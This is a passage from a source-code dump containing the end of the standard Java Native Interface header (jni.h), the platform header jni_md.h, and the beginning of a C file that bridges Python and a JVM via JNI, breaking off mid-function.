        jchar result;
        va_start(args,methodID);
        result = functions->CallNonvirtualCharMethodV(this,obj,clazz,
                                                      methodID,args);
        va_end(args);
        return result;
    }
    jchar CallNonvirtualCharMethodV(jobject obj, jclass clazz,
                                    jmethodID methodID, va_list args) {
        return functions->CallNonvirtualCharMethodV(this,obj,clazz,
                                                    methodID,args);
    }
    jchar CallNonvirtualCharMethodA(jobject obj, jclass clazz,
                                    jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualCharMethodA(this,obj,clazz,
                                                    methodID,args);
    }

    jshort CallNonvirtualShortMethod(jobject obj, jclass clazz,
                                     jmethodID methodID, ...) {
        va_list args;
        jshort result;
        va_start(args,methodID);
        result = functions->CallNonvirtualShortMethodV(this,obj,clazz,
                                                       methodID,args);
        va_end(args);
        return result;
    }
    jshort CallNonvirtualShortMethodV(jobject obj, jclass clazz,
                                      jmethodID methodID, va_list args) {
        return functions->CallNonvirtualShortMethodV(this,obj,clazz,
                                                     methodID,args);
    }
    jshort CallNonvirtualShortMethodA(jobject obj, jclass clazz,
                                      jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualShortMethodA(this,obj,clazz,
                                                     methodID,args);
    }

    jint CallNonvirtualIntMethod(jobject obj, jclass clazz,
                                 jmethodID methodID, ...) {
        va_list args;
        jint result;
        va_start(args,methodID);
        result = functions->CallNonvirtualIntMethodV(this,obj,clazz,
                                                     methodID,args);
        va_end(args);
        return result;
    }
    jint CallNonvirtualIntMethodV(jobject obj, jclass clazz,
                                  jmethodID methodID, va_list args) {
        return functions->CallNonvirtualIntMethodV(this,obj,clazz,
                                                   methodID,args);
    }
    jint CallNonvirtualIntMethodA(jobject obj, jclass clazz,
                                  jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualIntMethodA(this,obj,clazz,
                                                   methodID,args);
    }

    jlong CallNonvirtualLongMethod(jobject obj, jclass clazz,
                                   jmethodID methodID, ...) {
        va_list args;
        jlong result;
        va_start(args,methodID);
        result = functions->CallNonvirtualLongMethodV(this,obj,clazz,
                                                      methodID,args);
        va_end(args);
        return result;
    }
    jlong CallNonvirtualLongMethodV(jobject obj, jclass clazz,
                                    jmethodID methodID, va_list args) {
        return functions->CallNonvirtualLongMethodV(this,obj,clazz,
                                                    methodID,args);
    }
    jlong CallNonvirtualLongMethodA(jobject obj, jclass clazz,
                                    jmethodID methodID, const jvalue * args) {
        return functions->CallNonvirtualLongMethodA(this,obj,clazz,
                                                    methodID,args);
    }

    jfloat CallNonvirtualFloatMethod(jobject obj, jclass clazz,
                                     jmethodID methodID, ...) {
        va_list args;
        jfloat result;
        va_start(args,methodID);
        result = functions->CallNonvirtualFloatMethodV(this,obj,clazz,
                                                       methodID,args);
        va_end(args);
        return result;
    }
    jfloat CallNonvirtualFloatMethodV(jobject obj, jclass clazz,
                                      jmethodID methodID,
                                      va_list args) {
        return functions->CallNonvirtualFloatMethodV(this,obj,clazz,
                                                     methodID,args);
    }
    jfloat CallNonvirtualFloatMethodA(jobject obj, jclass clazz,
                                      jmethodID methodID,
                                      const jvalue * args) {
        return functions->CallNonvirtualFloatMethodA(this,obj,clazz,
                                                     methodID,args);
    }

    jdouble CallNonvirtualDoubleMethod(jobject obj, jclass clazz,
                                       jmethodID methodID, ...) {
        va_list args;
        jdouble result;
        va_start(args,methodID);
        result = functions->CallNonvirtualDoubleMethodV(this,obj,clazz,
                                                        methodID,args);
        va_end(args);
        return result;
    }
    jdouble CallNonvirtualDoubleMethodV(jobject obj, jclass clazz,
                                        jmethodID methodID,
                                        va_list args) {
        return functions->CallNonvirtualDoubleMethodV(this,obj,clazz,
                                                      methodID,args);
    }
    jdouble CallNonvirtualDoubleMethodA(jobject obj, jclass clazz,
                                        jmethodID methodID,
                                        const jvalue * args) {
        return functions->CallNonvirtualDoubleMethodA(this,obj,clazz,
                                                      methodID,args);
    }

    void CallNonvirtualVoidMethod(jobject obj, jclass clazz,
                                  jmethodID methodID, ...) {
        va_list args;
        va_start(args,methodID);
        functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args);
        va_end(args);
    }
    void CallNonvirtualVoidMethodV(jobject obj, jclass clazz,
                                   jmethodID methodID,
                                   va_list args) {
        functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args);
    }
    void CallNonvirtualVoidMethodA(jobject obj, jclass clazz,
                                   jmethodID methodID,
                                   const jvalue * args) {
        functions->CallNonvirtualVoidMethodA(this,obj,clazz,methodID,args);
    }

    jfieldID GetFieldID(jclass clazz, const char *name,
                        const char *sig) {
        return functions->GetFieldID(this,clazz,name,sig);
    }

    jobject GetObjectField(jobject obj, jfieldID fieldID) {
        return functions->GetObjectField(this,obj,fieldID);
    }
    jboolean GetBooleanField(jobject obj, jfieldID fieldID) {
        return functions->GetBooleanField(this,obj,fieldID);
    }
    jbyte GetByteField(jobject obj, jfieldID fieldID) {
        return functions->GetByteField(this,obj,fieldID);
    }
    jchar GetCharField(jobject obj, jfieldID fieldID) {
        return functions->GetCharField(this,obj,fieldID);
    }
    jshort GetShortField(jobject obj, jfieldID fieldID) {
        return functions->GetShortField(this,obj,fieldID);
    }
    jint GetIntField(jobject obj, jfieldID fieldID) {
        return functions->GetIntField(this,obj,fieldID);
    }
    jlong GetLongField(jobject obj, jfieldID fieldID) {
        return functions->GetLongField(this,obj,fieldID);
    }
    jfloat GetFloatField(jobject obj, jfieldID fieldID) {
        return functions->GetFloatField(this,obj,fieldID);
    }
    jdouble GetDoubleField(jobject obj, jfieldID fieldID) {
        return functions->GetDoubleField(this,obj,fieldID);
    }

    void SetObjectField(jobject obj, jfieldID fieldID, jobject val) {
        functions->SetObjectField(this,obj,fieldID,val);
    }
    void SetBooleanField(jobject obj, jfieldID fieldID,
                         jboolean val) {
        functions->SetBooleanField(this,obj,fieldID,val);
    }
    void SetByteField(jobject obj, jfieldID fieldID,
                      jbyte val) {
        functions->SetByteField(this,obj,fieldID,val);
    }
    void SetCharField(jobject obj, jfieldID fieldID,
                      jchar val) {
        functions->SetCharField(this,obj,fieldID,val);
    }
    void SetShortField(jobject obj, jfieldID fieldID,
                       jshort val) {
        functions->SetShortField(this,obj,fieldID,val);
    }
    void SetIntField(jobject obj, jfieldID fieldID,
                     jint val) {
        functions->SetIntField(this,obj,fieldID,val);
    }
    void SetLongField(jobject obj, jfieldID fieldID,
                      jlong val) {
        functions->SetLongField(this,obj,fieldID,val);
    }
    void SetFloatField(jobject obj, jfieldID fieldID,
                       jfloat val) {
        functions->SetFloatField(this,obj,fieldID,val);
    }
    void SetDoubleField(jobject obj, jfieldID fieldID,
                        jdouble val) {
        functions->SetDoubleField(this,obj,fieldID,val);
    }

    jmethodID GetStaticMethodID(jclass clazz, const char *name,
                                const char *sig) {
        return functions->GetStaticMethodID(this,clazz,name,sig);
    }

    jobject CallStaticObjectMethod(jclass clazz, jmethodID methodID,
                             ...) {
        va_list args;
        jobject result;
        va_start(args,methodID);
        result = functions->CallStaticObjectMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jobject CallStaticObjectMethodV(jclass clazz, jmethodID methodID,
                              va_list args) {
        return functions->CallStaticObjectMethodV(this,clazz,methodID,args);
    }
    jobject CallStaticObjectMethodA(jclass clazz, jmethodID methodID,
                              const jvalue *args) {
        return functions->CallStaticObjectMethodA(this,clazz,methodID,args);
    }

    jboolean CallStaticBooleanMethod(jclass clazz,
                                     jmethodID methodID, ...) {
        va_list args;
        jboolean result;
        va_start(args,methodID);
        result = functions->CallStaticBooleanMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jboolean CallStaticBooleanMethodV(jclass clazz,
                                      jmethodID methodID, va_list args) {
        return functions->CallStaticBooleanMethodV(this,clazz,methodID,args);
    }
    jboolean CallStaticBooleanMethodA(jclass clazz,
                                      jmethodID methodID, const jvalue *args) {
        return functions->CallStaticBooleanMethodA(this,clazz,methodID,args);
    }

    jbyte CallStaticByteMethod(jclass clazz,
                               jmethodID methodID, ...) {
        va_list args;
        jbyte result;
        va_start(args,methodID);
        result = functions->CallStaticByteMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jbyte CallStaticByteMethodV(jclass clazz,
                                jmethodID methodID, va_list args) {
        return functions->CallStaticByteMethodV(this,clazz,methodID,args);
    }
    jbyte CallStaticByteMethodA(jclass clazz,
                                jmethodID methodID, const jvalue *args) {
        return functions->CallStaticByteMethodA(this,clazz,methodID,args);
    }

    jchar CallStaticCharMethod(jclass clazz,
                               jmethodID methodID, ...) {
        va_list args;
        jchar result;
        va_start(args,methodID);
        result = functions->CallStaticCharMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jchar CallStaticCharMethodV(jclass clazz,
                                jmethodID methodID, va_list args) {
        return functions->CallStaticCharMethodV(this,clazz,methodID,args);
    }
    jchar CallStaticCharMethodA(jclass clazz,
                                jmethodID methodID, const jvalue *args) {
        return functions->CallStaticCharMethodA(this,clazz,methodID,args);
    }

    jshort CallStaticShortMethod(jclass clazz,
                                 jmethodID methodID, ...) {
        va_list args;
        jshort result;
        va_start(args,methodID);
        result = functions->CallStaticShortMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jshort CallStaticShortMethodV(jclass clazz,
                                  jmethodID methodID, va_list args) {
        return functions->CallStaticShortMethodV(this,clazz,methodID,args);
    }
    jshort CallStaticShortMethodA(jclass clazz,
                                  jmethodID methodID, const jvalue *args) {
        return functions->CallStaticShortMethodA(this,clazz,methodID,args);
    }

    jint CallStaticIntMethod(jclass clazz,
                             jmethodID methodID, ...) {
        va_list args;
        jint result;
        va_start(args,methodID);
        result = functions->CallStaticIntMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jint CallStaticIntMethodV(jclass clazz,
                              jmethodID methodID, va_list args) {
        return functions->CallStaticIntMethodV(this,clazz,methodID,args);
    }
    jint CallStaticIntMethodA(jclass clazz,
                              jmethodID methodID, const jvalue *args) {
        return functions->CallStaticIntMethodA(this,clazz,methodID,args);
    }

    jlong CallStaticLongMethod(jclass clazz,
                               jmethodID methodID, ...) {
        va_list args;
        jlong result;
        va_start(args,methodID);
        result = functions->CallStaticLongMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jlong CallStaticLongMethodV(jclass clazz,
                                jmethodID methodID, va_list args) {
        return functions->CallStaticLongMethodV(this,clazz,methodID,args);
    }
    jlong CallStaticLongMethodA(jclass clazz,
                                jmethodID methodID, const jvalue *args) {
        return functions->CallStaticLongMethodA(this,clazz,methodID,args);
    }

    jfloat CallStaticFloatMethod(jclass clazz,
                                 jmethodID methodID, ...) {
        va_list args;
        jfloat result;
        va_start(args,methodID);
        result = functions->CallStaticFloatMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jfloat CallStaticFloatMethodV(jclass clazz,
                                  jmethodID methodID, va_list args) {
        return functions->CallStaticFloatMethodV(this,clazz,methodID,args);
    }
    jfloat CallStaticFloatMethodA(jclass clazz,
                                  jmethodID methodID, const jvalue *args) {
        return functions->CallStaticFloatMethodA(this,clazz,methodID,args);
    }

    jdouble CallStaticDoubleMethod(jclass clazz,
                                   jmethodID methodID, ...) {
        va_list args;
        jdouble result;
        va_start(args,methodID);
        result = functions->CallStaticDoubleMethodV(this,clazz,methodID,args);
        va_end(args);
        return result;
    }
    jdouble CallStaticDoubleMethodV(jclass clazz,
                                    jmethodID methodID, va_list args) {
        return functions->CallStaticDoubleMethodV(this,clazz,methodID,args);
    }
    jdouble CallStaticDoubleMethodA(jclass clazz,
                                    jmethodID methodID, const jvalue *args) {
        return functions->CallStaticDoubleMethodA(this,clazz,methodID,args);
    }

    void CallStaticVoidMethod(jclass cls, jmethodID methodID, ...) {
        va_list args;
        va_start(args,methodID);
        functions->CallStaticVoidMethodV(this,cls,methodID,args);
        va_end(args);
    }
    void CallStaticVoidMethodV(jclass cls, jmethodID methodID,
                               va_list args) {
        functions->CallStaticVoidMethodV(this,cls,methodID,args);
    }
    void CallStaticVoidMethodA(jclass cls, jmethodID methodID,
                               const jvalue * args) {
        functions->CallStaticVoidMethodA(this,cls,methodID,args);
    }

    jfieldID GetStaticFieldID(jclass clazz, const char *name,
                              const char *sig) {
        return functions->GetStaticFieldID(this,clazz,name,sig);
    }
    jobject GetStaticObjectField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticObjectField(this,clazz,fieldID);
    }
    jboolean GetStaticBooleanField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticBooleanField(this,clazz,fieldID);
    }
    jbyte GetStaticByteField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticByteField(this,clazz,fieldID);
    }
    jchar GetStaticCharField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticCharField(this,clazz,fieldID);
    }
    jshort GetStaticShortField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticShortField(this,clazz,fieldID);
    }
    jint GetStaticIntField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticIntField(this,clazz,fieldID);
    }
    jlong GetStaticLongField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticLongField(this,clazz,fieldID);
    }
    jfloat GetStaticFloatField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticFloatField(this,clazz,fieldID);
    }
    jdouble GetStaticDoubleField(jclass clazz, jfieldID fieldID) {
        return functions->GetStaticDoubleField(this,clazz,fieldID);
    }

    void SetStaticObjectField(jclass clazz, jfieldID fieldID,
                        jobject value) {
      functions->SetStaticObjectField(this,clazz,fieldID,value);
    }
    void SetStaticBooleanField(jclass clazz, jfieldID fieldID,
                        jboolean value) {
      functions->SetStaticBooleanField(this,clazz,fieldID,value);
    }
    void SetStaticByteField(jclass clazz, jfieldID fieldID,
                        jbyte value) {
      functions->SetStaticByteField(this,clazz,fieldID,value);
    }
    void SetStaticCharField(jclass clazz, jfieldID fieldID,
                        jchar value) {
      functions->SetStaticCharField(this,clazz,fieldID,value);
    }
    void SetStaticShortField(jclass clazz, jfieldID fieldID,
                        jshort value) {
      functions->SetStaticShortField(this,clazz,fieldID,value);
    }
    void SetStaticIntField(jclass clazz, jfieldID fieldID,
                        jint value) {
      functions->SetStaticIntField(this,clazz,fieldID,value);
    }
    void SetStaticLongField(jclass clazz, jfieldID fieldID,
                        jlong value) {
      functions->SetStaticLongField(this,clazz,fieldID,value);
    }
    void SetStaticFloatField(jclass clazz, jfieldID fieldID,
                        jfloat value) {
      functions->SetStaticFloatField(this,clazz,fieldID,value);
    }
    void SetStaticDoubleField(jclass clazz, jfieldID fieldID,
                        jdouble value) {
      functions->SetStaticDoubleField(this,clazz,fieldID,value);
    }

    jstring NewString(const jchar *unicode, jsize len) {
        return functions->NewString(this,unicode,len);
    }
    jsize GetStringLength(jstring str) {
        return functions->GetStringLength(this,str);
    }
    const jchar *GetStringChars(jstring str, jboolean *isCopy) {
        return functions->GetStringChars(this,str,isCopy);
    }
    void ReleaseStringChars(jstring str, const jchar *chars) {
        functions->ReleaseStringChars(this,str,chars);
    }

    jstring NewStringUTF(const char *utf) {
        return functions->NewStringUTF(this,utf);
    }
    jsize GetStringUTFLength(jstring str) {
        return functions->GetStringUTFLength(this,str);
    }
    const char* GetStringUTFChars(jstring str, jboolean *isCopy) {
        return functions->GetStringUTFChars(this,str,isCopy);
    }
    void ReleaseStringUTFChars(jstring str, const char* chars) {
        functions->ReleaseStringUTFChars(this,str,chars);
    }

    jsize GetArrayLength(jarray array) {
        return functions->GetArrayLength(this,array);
    }

    jobjectArray NewObjectArray(jsize len, jclass clazz,
                                jobject init) {
        return functions->NewObjectArray(this,len,clazz,init);
    }
    jobject GetObjectArrayElement(jobjectArray array, jsize index) {
        return functions->GetObjectArrayElement(this,array,index);
    }
    void SetObjectArrayElement(jobjectArray array, jsize index,
                               jobject val) {
        functions->SetObjectArrayElement(this,array,index,val);
    }

    jbooleanArray NewBooleanArray(jsize len) {
        return functions->NewBooleanArray(this,len);
    }
    jbyteArray NewByteArray(jsize len) {
        return functions->NewByteArray(this,len);
    }
    jcharArray NewCharArray(jsize len) {
        return functions->NewCharArray(this,len);
    }
    jshortArray NewShortArray(jsize len) {
        return functions->NewShortArray(this,len);
    }
    jintArray NewIntArray(jsize len) {
        return functions->NewIntArray(this,len);
    }
    jlongArray NewLongArray(jsize len) {
        return functions->NewLongArray(this,len);
    }
    jfloatArray NewFloatArray(jsize len) {
        return functions->NewFloatArray(this,len);
    }
    jdoubleArray NewDoubleArray(jsize len) {
        return functions->NewDoubleArray(this,len);
    }

    jboolean * GetBooleanArrayElements(jbooleanArray array, jboolean *isCopy) {
        return functions->GetBooleanArrayElements(this,array,isCopy);
    }
    jbyte * GetByteArrayElements(jbyteArray array, jboolean *isCopy) {
        return functions->GetByteArrayElements(this,array,isCopy);
    }
    jchar * GetCharArrayElements(jcharArray array, jboolean *isCopy) {
        return functions->GetCharArrayElements(this,array,isCopy);
    }
    jshort * GetShortArrayElements(jshortArray array, jboolean *isCopy) {
        return functions->GetShortArrayElements(this,array,isCopy);
    }
    jint * GetIntArrayElements(jintArray array, jboolean *isCopy) {
        return functions->GetIntArrayElements(this,array,isCopy);
    }
    jlong * GetLongArrayElements(jlongArray array, jboolean *isCopy) {
        return functions->GetLongArrayElements(this,array,isCopy);
    }
    jfloat * GetFloatArrayElements(jfloatArray array, jboolean *isCopy) {
        return functions->GetFloatArrayElements(this,array,isCopy);
    }
    jdouble * GetDoubleArrayElements(jdoubleArray array, jboolean *isCopy) {
        return functions->GetDoubleArrayElements(this,array,isCopy);
    }

    void ReleaseBooleanArrayElements(jbooleanArray array,
                                     jboolean *elems,
                                     jint mode) {
        functions->ReleaseBooleanArrayElements(this,array,elems,mode);
    }
    void ReleaseByteArrayElements(jbyteArray array,
                                  jbyte *elems,
                                  jint mode) {
        functions->ReleaseByteArrayElements(this,array,elems,mode);
    }
    void ReleaseCharArrayElements(jcharArray array,
                                  jchar *elems,
                                  jint mode) {
        functions->ReleaseCharArrayElements(this,array,elems,mode);
    }
    void ReleaseShortArrayElements(jshortArray array,
                                   jshort *elems,
                                   jint mode) {
        functions->ReleaseShortArrayElements(this,array,elems,mode);
    }
    void ReleaseIntArrayElements(jintArray array,
                                 jint *elems,
                                 jint mode) {
        functions->ReleaseIntArrayElements(this,array,elems,mode);
    }
    void ReleaseLongArrayElements(jlongArray array,
                                  jlong *elems,
                                  jint mode) {
        functions->ReleaseLongArrayElements(this,array,elems,mode);
    }
    void ReleaseFloatArrayElements(jfloatArray array,
                                   jfloat *elems,
                                   jint mode) {
        functions->ReleaseFloatArrayElements(this,array,elems,mode);
    }
    void ReleaseDoubleArrayElements(jdoubleArray array,
                                    jdouble *elems,
                                    jint mode) {
        functions->ReleaseDoubleArrayElements(this,array,elems,mode);
    }

    void GetBooleanArrayRegion(jbooleanArray array,
                               jsize start, jsize len, jboolean *buf) {
        functions->GetBooleanArrayRegion(this,array,start,len,buf);
    }
    void GetByteArrayRegion(jbyteArray array,
                            jsize start, jsize len, jbyte *buf) {
        functions->GetByteArrayRegion(this,array,start,len,buf);
    }
    void GetCharArrayRegion(jcharArray array,
                            jsize start, jsize len, jchar *buf) {
        functions->GetCharArrayRegion(this,array,start,len,buf);
    }
    void GetShortArrayRegion(jshortArray array,
                             jsize start, jsize len, jshort *buf) {
        functions->GetShortArrayRegion(this,array,start,len,buf);
    }
    void GetIntArrayRegion(jintArray array,
                           jsize start, jsize len, jint *buf) {
        functions->GetIntArrayRegion(this,array,start,len,buf);
    }
    void GetLongArrayRegion(jlongArray array,
                            jsize start, jsize len, jlong *buf) {
        functions->GetLongArrayRegion(this,array,start,len,buf);
    }
    void GetFloatArrayRegion(jfloatArray array,
                             jsize start, jsize len, jfloat *buf) {
        functions->GetFloatArrayRegion(this,array,start,len,buf);
    }
    void GetDoubleArrayRegion(jdoubleArray array,
                              jsize start, jsize len, jdouble *buf) {
        functions->GetDoubleArrayRegion(this,array,start,len,buf);
    }

    void SetBooleanArrayRegion(jbooleanArray array, jsize start, jsize len,
                               const jboolean *buf) {
        functions->SetBooleanArrayRegion(this,array,start,len,buf);
    }
    void SetByteArrayRegion(jbyteArray array, jsize start, jsize len,
                            const jbyte *buf) {
        functions->SetByteArrayRegion(this,array,start,len,buf);
    }
    void SetCharArrayRegion(jcharArray array, jsize start, jsize len,
                            const jchar *buf) {
        functions->SetCharArrayRegion(this,array,start,len,buf);
    }
    void SetShortArrayRegion(jshortArray array, jsize start, jsize len,
                             const jshort *buf) {
        functions->SetShortArrayRegion(this,array,start,len,buf);
    }
    void SetIntArrayRegion(jintArray array, jsize start, jsize len,
                           const jint *buf) {
        functions->SetIntArrayRegion(this,array,start,len,buf);
    }
    void SetLongArrayRegion(jlongArray array, jsize start, jsize len,
                            const jlong *buf) {
        functions->SetLongArrayRegion(this,array,start,len,buf);
    }
    void SetFloatArrayRegion(jfloatArray array, jsize start, jsize len,
                             const jfloat *buf) {
        functions->SetFloatArrayRegion(this,array,start,len,buf);
    }
    void SetDoubleArrayRegion(jdoubleArray array, jsize start, jsize len,
                              const jdouble *buf) {
        functions->SetDoubleArrayRegion(this,array,start,len,buf);
    }

    jint RegisterNatives(jclass clazz, const JNINativeMethod *methods,
                         jint nMethods) {
        return functions->RegisterNatives(this,clazz,methods,nMethods);
    }
    jint UnregisterNatives(jclass clazz) {
        return functions->UnregisterNatives(this,clazz);
    }

    jint MonitorEnter(jobject obj) {
        return functions->MonitorEnter(this,obj);
    }
    jint MonitorExit(jobject obj) {
        return functions->MonitorExit(this,obj);
    }

    jint GetJavaVM(JavaVM **vm) {
        return functions->GetJavaVM(this,vm);
    }

    void GetStringRegion(jstring str, jsize start, jsize len, jchar *buf) {
        functions->GetStringRegion(this,str,start,len,buf);
    }
    void GetStringUTFRegion(jstring str, jsize start, jsize len, char *buf) {
        functions->GetStringUTFRegion(this,str,start,len,buf);
    }

    void * GetPrimitiveArrayCritical(jarray array, jboolean *isCopy) {
        return functions->GetPrimitiveArrayCritical(this,array,isCopy);
    }
    void ReleasePrimitiveArrayCritical(jarray array, void *carray, jint mode) {
        functions->ReleasePrimitiveArrayCritical(this,array,carray,mode);
    }

    const jchar * GetStringCritical(jstring string, jboolean *isCopy) {
        return functions->GetStringCritical(this,string,isCopy);
    }
    void ReleaseStringCritical(jstring string, const jchar *cstring) {
        functions->ReleaseStringCritical(this,string,cstring);
    }

    jweak NewWeakGlobalRef(jobject obj) {
        return functions->NewWeakGlobalRef(this,obj);
    }
    void DeleteWeakGlobalRef(jweak ref) {
        functions->DeleteWeakGlobalRef(this,ref);
    }

    jboolean ExceptionCheck() {
        return functions->ExceptionCheck(this);
    }

    jobject NewDirectByteBuffer(void* address, jlong capacity) {
        return functions->NewDirectByteBuffer(this, address, capacity);
    }
    void* GetDirectBufferAddress(jobject buf) {
        return functions->GetDirectBufferAddress(this, buf);
    }
    jlong GetDirectBufferCapacity(jobject buf) {
        return functions->GetDirectBufferCapacity(this, buf);
    }
    jobjectRefType GetObjectRefType(jobject obj) {
        return functions->GetObjectRefType(this, obj);
    }

#endif /* __cplusplus */
};

typedef struct JavaVMOption {
    char *optionString;
    void *extraInfo;
} JavaVMOption;

typedef struct JavaVMInitArgs {
    jint version;

    jint nOptions;
    JavaVMOption *options;
    jboolean ignoreUnrecognized;
} JavaVMInitArgs;

typedef struct JavaVMAttachArgs {
    jint version;

    char *name;
    jobject group;
} JavaVMAttachArgs;

/* These will be VM-specific. */

#define JDK1_2
#define JDK1_4

/* End VM-specific. */

struct JNIInvokeInterface_ {
    void *reserved0;
    void *reserved1;
    void *reserved2;

    jint (JNICALL *DestroyJavaVM)(JavaVM *vm);

    jint (JNICALL *AttachCurrentThread)(JavaVM *vm, void **penv, void *args);

    jint (JNICALL *DetachCurrentThread)(JavaVM *vm);

    jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);

    jint (JNICALL *AttachCurrentThreadAsDaemon)(JavaVM *vm, void **penv, void *args);
};

struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus

    jint DestroyJavaVM() {
        return functions->DestroyJavaVM(this);
    }
    jint AttachCurrentThread(void **penv, void *args) {
        return functions->AttachCurrentThread(this, penv, args);
    }
    jint DetachCurrentThread() {
        return functions->DetachCurrentThread(this);
    }

    jint GetEnv(void **penv, jint version) {
        return functions->GetEnv(this, penv, version);
    }
    jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
        return functions->AttachCurrentThreadAsDaemon(this, penv, args);
    }
#endif
};

#ifdef _JNI_IMPLEMENTATION_
#define _JNI_IMPORT_OR_EXPORT_ JNIEXPORT
#else
#define _JNI_IMPORT_OR_EXPORT_ JNIIMPORT
#endif
_JNI_IMPORT_OR_EXPORT_ jint JNICALL
JNI_GetDefaultJavaVMInitArgs(void *args);

_JNI_IMPORT_OR_EXPORT_ jint JNICALL
JNI_CreateJavaVM(JavaVM **pvm, void **penv, void *args);

_JNI_IMPORT_OR_EXPORT_ jint JNICALL
JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *);

/* Defined by native libraries. */
JNIEXPORT jint JNICALL
JNI_OnLoad(JavaVM *vm, void *reserved);

JNIEXPORT void JNICALL
JNI_OnUnload(JavaVM *vm, void *reserved);

#define JNI_VERSION_1_1 0x00010001
#define JNI_VERSION_1_2 0x00010002
#define JNI_VERSION_1_4 0x00010004
#define JNI_VERSION_1_6 0x00010006
#define JNI_VERSION_1_8 0x00010008

#ifdef __cplusplus
} /* extern "C" */
#endif /* __cplusplus */

#endif /* !_JAVASOFT_JNI_H_ */


================================================
FILE: client/common/jni_md.h
================================================
/*
 * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

#ifndef _JAVASOFT_JNI_MD_H_
#define _JAVASOFT_JNI_MD_H_

#if defined(_WIN32) || defined(_WIN64)
#define JNIEXPORT __declspec(dllexport)
#define JNIIMPORT __declspec(dllimport)
#define JNICALL __stdcall
#elif defined(__GNUC__)
#define JNIEXPORT     __attribute__((visibility("default")))
#define JNIIMPORT     __attribute__((visibility("default")))
#define JNICALL
#else
#error Unknown compiler
#endif

typedef int jint;
#if defined(_LP64) || defined(__LP64__) || defined(_WIN64) /* 64-bit */
typedef long jlong;
#else
typedef long long jlong;
#endif

typedef signed char jbyte;

#endif /* !_JAVASOFT_JNI_MD_H_ */


================================================
FILE: client/common/jni_on_load.c
================================================
#include "jni.h"
#include "debug.h"

/* // TODO: Add proper deinitialization.. */

static JavaVM *__jvm = NULL;

static jobject __j_initial_classloader = NULL;
static jobject __j_preferred_classloader = NULL;
static jclass __j_ClassLoader = NULL;
static jmethodID __j_ClassLoader_findClass = NULL;

static PyObject * jvm_error = NULL;
static char *__preferred_classloader_name = NULL;
static char *__preferred_loadable_class = NULL;
static char jvm_module_doc[] = "Info about parent JVM";

struct __thread_name_and_classloader_to_dict_ctx {
    void* payload;

    jclass Thread;
    jclass Class;

    jstring prefferedName;

    jmethodID getName;
    jmethodID getContextClassLoader;
    jmethodID getClass;
    jmethodID forName;
    jmethodID getClassName;
};

static JNIEnv*
Py_get_jni_env(JNIEnv *env) {
    jint ret;
    void *penv = NULL;

    if (env != NULL)
        return env;

    if (__jvm == NULL) {
        PyErr_SetString(jvm_error, "JVM was not loaded yet");
        return NULL;
    }

    ret = (*__jvm)->GetEnv(__jvm, &penv,  JNI_VERSION_1_6);
    switch (ret) {
    case JNI_OK:
        dprint("Load JNIEnv: %p\n", penv);
        break;

    case JNI_EDETACHED:
        PyErr_SetString(jvm_error, "Method called from detached thread");
        return NULL;

    default:
        PyErr_SetString(jvm_error, "Could not get JNI Environment");
        return NULL;
    }

    return penv;
}


static jint Py_new__thread_name_and_classloader_to_dict_ctx(
    JNIEnv *env, struct __thread_name_and_classloader_to_dict_ctx *ctx) {

    ctx->Thread = (*env)->FindClass(env, "java/lang/Thread");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "java/lang/Thread class not found");
        return JNI_ERR;
    }

    dprint("ctx->Thread: %p\n", ctx->Thread);

    ctx->Class = (*env)->FindClass(env, "java/lang/Class");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "java/lang/Class class not found");
        return JNI_ERR;
    }

    dprint("ctx->Class: %p\n", ctx->Class);

    ctx->getName = (*env)->GetMethodID(env, ctx->Thread, "getName", "()Ljava/lang/String;");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "getName method not found");
        return JNI_ERR;
    }

    dprint("ctx->getName: %p\n", ctx->getName);

    ctx->getContextClassLoader = (*env)->GetMethodID(
        env, ctx->Thread, "getContextClassLoader", "()Ljava/lang/ClassLoader;");
    if ((*env)->ExceptionCheck(env)) {
        PyErr_SetString(jvm_error, "getContextClassLoader method not found");
        return JNI_ERR;
    }

